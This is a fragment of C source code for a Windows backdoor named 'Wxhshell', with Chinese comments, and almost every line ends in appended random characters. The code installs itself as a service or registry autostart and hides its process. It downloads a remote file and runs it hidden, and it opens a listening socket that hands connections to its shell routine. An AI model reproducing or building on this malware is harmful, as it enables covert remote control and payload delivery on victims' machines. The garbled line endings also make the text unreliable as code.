} PROCESS_BASIC_INFORMATION; s,*kWy"jp
M'"@l$[QM
PROCNTQSIP NtQueryInformationProcess; 8>KBh)q
2Kg+SLU[~
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y`n'>F11
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U~)i&":sN
ofu
{g
HANDLE hProcess; -x)zyq6
PROCESS_BASIC_INFORMATION pbi; @0mR_\u\
~$PQ8[=
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E<|p9,M
if(NULL == hInst ) return 0; +F9)+wT~;q
LG/6_t}
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z^ e?V7q
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M2.Pf s
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iO 9fg
3ZF- n`
if (!NtQueryInformationProcess) return 0; ;Az9p h
z'(][SB
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Rpi@^~aPE
if(!hProcess) return 0; E[Rd=/P6
xXJl Qbs
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; etPb^$
te 0a6
CloseHandle(hProcess); Jp0*Y-*Y
6;:s N8M+1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %]zaX-2dm!
if(hProcess==NULL) return 0; )Hp{8c
G/w&yd4
HMODULE hMod; $Eo)i
char procName[255]; + \DGS
unsigned long cbNeeded; {5$.:Y
R`_RcHY:
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8w:A""
5$(qnOi
CloseHandle(hProcess); [xTu29X.
/]mfI&l+9
if(strstr(procName,"services")) return 1; // 以服务启动 }AZ0BI,TI
tY1M7B^~
return 0; // 注册表启动 Oc51|[
Wj
} h7}D//~p
-UHa;WH
// 主模块 ?D6?W6@
int StartWxhshell(LPSTR lpCmdLine) M_5$y)M
{ KKPQ[3g
SOCKET wsl; #LGAvFA*_F
BOOL val=TRUE; 'T8(md299
int port=0; ^UB<U#8,
struct sockaddr_in door; v(=?ge YLo
C6$F.v
if(wscfg.ws_autoins) Install(); N,iYUM?
y@5{.jsr_
port=atoi(lpCmdLine); X0h`g)Bbf
ypCarvQT
if(port<=0) port=wscfg.ws_port; +/bT4TkML
!`3q9RT3."
WSADATA data; 9]{(~=D7
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?k5m1,fHW
mHm"QBa!
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /M}jF*5N
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XZ8#8Di8
door.sin_family = AF_INET; <B
}4}-}
door.sin_addr.s_addr = inet_addr("127.0.0.1"); J6WyFtlyLc
door.sin_port = htons(port); @w%{yzr%
zlUXp0W
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b5-W K;
closesocket(wsl); 0|RFsJ"
return 1; pj~Ao+
} E{Tvjh+
%^5|3l3y
if(listen(wsl,2) == INVALID_SOCKET) { s+EJXoxw
closesocket(wsl); MJ=(rp=YU9
return 1; lURL;h
} ([mC!d@a
Wxhshell(wsl); U{8]TEv
WSACleanup(); *!~jHy8F
'aW}&!H M
return 0; 1<Z~Gw4
9r5<A!1#L
} P?.j
w I
CDNh9`
// 以NT服务方式启动 p$qpC$F
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QR.] ?t;1
{ ZwC\n(_y
DWORD status = 0; F$|Ec9
DWORD specificError = 0xfffffff; 4v=NmO}
YH:murJMZ
serviceStatus.dwServiceType = SERVICE_WIN32; `4@_Y<
serviceStatus.dwCurrentState = SERVICE_START_PENDING; e=8z,.Xk
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K}r@O"6*\
serviceStatus.dwWin32ExitCode = 0; I3#h
serviceStatus.dwServiceSpecificExitCode = 0; rA"><pH
serviceStatus.dwCheckPoint = 0; ~> xVhd
serviceStatus.dwWaitHint = 0; ^Hdru]A$2
p^E}%0#
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -F]0Py8(
if (hServiceStatusHandle==0) return; "TLY:V
SWrt 4G
status = GetLastError(); ]+OHxCj:
if (status!=NO_ERROR) A `H&"A
{ ^2|G0d@.:
serviceStatus.dwCurrentState = SERVICE_STOPPED; Q9[$8
serviceStatus.dwCheckPoint = 0; Z7Y+rP[l
serviceStatus.dwWaitHint = 0; 7jf%-X
serviceStatus.dwWin32ExitCode = status; aDae0$lc.S
serviceStatus.dwServiceSpecificExitCode = specificError; tW=,o&C=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jP{W|9@(
return; G;'=#c
^
} jOE~?{8m
+1R
qo
serviceStatus.dwCurrentState = SERVICE_RUNNING; " iKX-VIl
serviceStatus.dwCheckPoint = 0; -9L[eYn
serviceStatus.dwWaitHint = 0; x c[BQ|P=
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #wvmVB. 5~
} #Fl5]> |
FTA[O.tiG
// 处理NT服务事件,比如:启动、停止 /.[;u1z"^
VOID WINAPI NTServiceHandler(DWORD fdwControl) `4&a"`&$
{ Hy_}e"
switch(fdwControl) fG^#G/n2
{ uqN:I)>[P
case SERVICE_CONTROL_STOP: fV\ eksBF
serviceStatus.dwWin32ExitCode = 0; _kJ?mTk
serviceStatus.dwCurrentState = SERVICE_STOPPED; !OO{qw(*g
serviceStatus.dwCheckPoint = 0; (ohza<X;6
serviceStatus.dwWaitHint = 0; M[Kk43;QY!
{ dWCU Z,6}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); TsX(=N_
} 5z$>M3
return; 9qqzCMrI0e
case SERVICE_CONTROL_PAUSE: gA&+<SK(
serviceStatus.dwCurrentState = SERVICE_PAUSED; il)LkZ@
break; `2j \(N,
case SERVICE_CONTROL_CONTINUE: pO;BX5(x
serviceStatus.dwCurrentState = SERVICE_RUNNING; dV5a Ij
break; Pdg %:aY
case SERVICE_CONTROL_INTERROGATE: "n4' \ig
break; q*h1=H52
}; [qMFLY$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $oJ)W@>
} #ilU(39e
e-taBrl;
// 标准应用程序主函数 }iK_7g`yKa
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (IrX\Y
{ \[-z4Fxg|'
#*g .hL<
// 获取操作系统版本 (4U59<ie
OsIsNt=GetOsVer(); Rj/9\F3H
GetModuleFileName(NULL,ExeFile,MAX_PATH); .q>4? +
mNvK|bTUT
// 从命令行安装 s 4Mi9h_
if(strpbrk(lpCmdLine,"iI")) Install(); )"&$.bWn
e|L$e0
// 下载执行文件 f>u{e~Q,
if(wscfg.ws_downexe) { lO+<T[
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~vCfMV[F
WinExec(wscfg.ws_filenam,SW_HIDE); 4zF|}aiQ
} eBK s-2r
#$vef
if(!OsIsNt) { i>Cxi ZT
// 如果时win9x,隐藏进程并且设置为注册表启动 $jd>=TU|
HideProc(); K|H&x"t
StartWxhshell(lpCmdLine); '.@'^80iQ
} u#+p6%?k
else >PsP y.
if(StartFromService()) O1o.^i$-M
// 以服务方式启动 h=q%h8
StartServiceCtrlDispatcher(DispatchTable); s$ONht
else A%VBBvk
// 普通方式启动 !lSxBr[dQ
StartWxhshell(lpCmdLine); b}G4eXkuj
dBV^Khf J
return 0; (1bz.N8z
}